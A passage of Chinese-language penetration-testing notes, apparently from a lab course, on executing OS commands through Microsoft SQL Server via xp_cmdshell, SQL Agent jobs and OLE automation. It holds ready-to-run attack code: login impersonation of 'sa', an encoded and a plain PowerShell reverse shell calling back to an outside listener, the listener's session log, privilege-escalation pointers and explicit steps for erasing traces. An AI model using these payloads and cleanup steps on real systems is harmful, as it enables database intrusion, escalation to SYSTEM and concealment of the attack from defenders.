MSSQL命令执行
1. 通过 xp_cmdshell 执行命令
这是最常用的一种方式,通过使用 xp_cmdshell 扩展存储过程
用使用xp_cmdshell,必须先要启用 advanced server configuration options ,然后像这样启用 xp_cmdshell (需要sysamin角色的权限)
#开启 高级服务器设置
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
#开启xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#执行命令
EXEC xp_cmdshell 'ipconfig';
#回复之前的配置(痕迹清理)
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;
在后台,xp_cmdshell 会生成一个 cmd.exe 进程,作为 sqlservr.exe(MSSQL Server 服务二进制文件)的子进程,并将传递给 xp_cmdshell 的字符串作为命令行参数(例如:/c notepad.exe)
1.1.1. 练习
┌──(root㉿kali)-[~/Desktop/htb/Academy/mssql]
└─# impacket-mssqlclient ws_dev:4X6cuvDLNer7nwYN5LBZ@10.129.14.103
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (ws_dev guest@master)> enum_impersonateexecute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT ws_dev sa
b'LOGIN' b'' IMPERSONATE GRANT ws_dev ws_user
SQL (ws_dev guest@master)> EXECUTE AS LOGIN = 'sa';SQL (sa dbo@master)>
SQL (sa dbo@master)> enable_xp_cmdshellINFO(SQL01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(SQL01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoamioutput
-----------
htb\svc_sql
NULL
SQL (sa dbo@master)> xp_cmdshell "type c:\\flag.txt"
output
--------------------------------
005044caf********************
2. 通过 MSSQL代理作业执行命令
这是一种类似于定时任务的方式,通过创建恶意的task,让数据库来自动化执行
条件: 需要 MSSQL Server Agent 服务处于运行状态,默认情况下不运行
如果有发现MSSQL Server在使用agent jobs 那么可以尝试此方式
2.1.1. 创建job
下面是一个创建job的示例
USE msdb ;
GO
EXEC dbo.sp_add_job
@job_name = N'Weekly Sales Data Backup' ; GO
EXEC sp_add_jobstep
@job_name = N'Weekly Sales Data Backup',
@step_name = N'Set database to read only',
@subsystem = N'TSQL',
@command = N'ALTER DATABASE SALES SET READ_ONLY',
@retry_attempts = 5,
@retry_interval = 5 ;
GO
EXEC dbo.sp_add_schedule
@schedule_name = N'RunOnce', @freq_type = 1, @active_start_time = 233000 ; USE msdb ;
GO
EXEC sp_attach_schedule
@job_name = N'Weekly Sales Data Backup',
@schedule_name = N'RunOnce';
GO
EXEC dbo.sp_add_jobserver
@job_name = N'Weekly Sales Data Backup';
GO
- 定义了一个名为
"Weekly Sales Data Backup"的作业 - 此作业会在
23:30:00运行 一次T-SQL查询
我们可以通过subsystems来执行命令,上面的例子使用的是T-SQL子系统。此外还可以使用 CmdExec 和 PowerShell 子系统来执行命令和ps脚本
2.1.2. CmdExec子系统执行命令
下面这个例子 创建了一个新的job,包含一个步骤,此步骤使用CmdExec子系统执行了download and execute a script,并且使用了 sp_start_job 存储过程来立即执行作业
USE msdb;
GO
EXEC sp_add_job @job_name = N'revshell job';
GO
EXEC sp_add_jobstep
@job_name = N'revshell job',
@step_name = N'Run PS',
@subsystem = N'CmdExec',
@command = N'powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ADkAIgAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
GO
EXEC sp_add_jobserver @job_name = N'revshell job';
GO
EXEC sp_start_job @job_name = N'revshell job';
GO
2.1.3. 使用Powershell子系统执行命令
USE msdb;
GO
EXEC sp_add_job @job_name = N'revshell job';
GO
EXEC sp_add_jobstep
@job_name = N'revshell job',
@step_name = N'Run PS',
@subsystem = N'PowerShell',
@command = N'$client = New-Object System.Net.Sockets.TCPClient("10.10.16.199",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()',
@retry_attempts = 5,
@retry_interval = 5;
GO
EXEC sp_add_jobserver @job_name = N'revshell job';
GO
EXEC sp_start_job @job_name = N'revshell job';
GO
2.1.4. 服务账户提权
┌──(root㉿kali)-[~/Desktop/htb/Academy/mssql]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.199] from (UNKNOWN) [10.129.229.240] 55547
PS SQLSERVER:\> whoami
htb\svc_sql
PS SQLSERVER:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
默认情况下,该服务以 NT Service\sqlserveragent 运行,返回的服务用户会拥有 SeImpersonatePrivilege 权限,我们可以使用土豆家族进行提权至SYSTEM
2.1.5. 痕迹清除
执行完成命令后,我们应该执行 sp_delete_job存储过程来清除创建的所有jobs
USE msdb;
GO
EXEC sp_delete_job @job_name = N'revshell Job';
GO
3. 通过 OLE 存储过程执行命令
- 默认情况下此存储过程为禁用状态,需要sysadmin权限进行开启
OLE 自动化是 Microsoft 开发的一种进程间通信机制,它允许我们从 T-SQL 查询中使用其他语言,例如 VBScript 。为此,我们需要使用 sp_OACreate 和 sp_OAMethod 存储过程
3.1.1. 开启OLE存储过程
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;
需要sysadmin角色权限
3.1.2. 使用OLE创建wscript执行命令
我们可以使用 OLE Automation 创建一个 wscript.shell 对象,然后使用查询语句执行命令
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell Output;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';


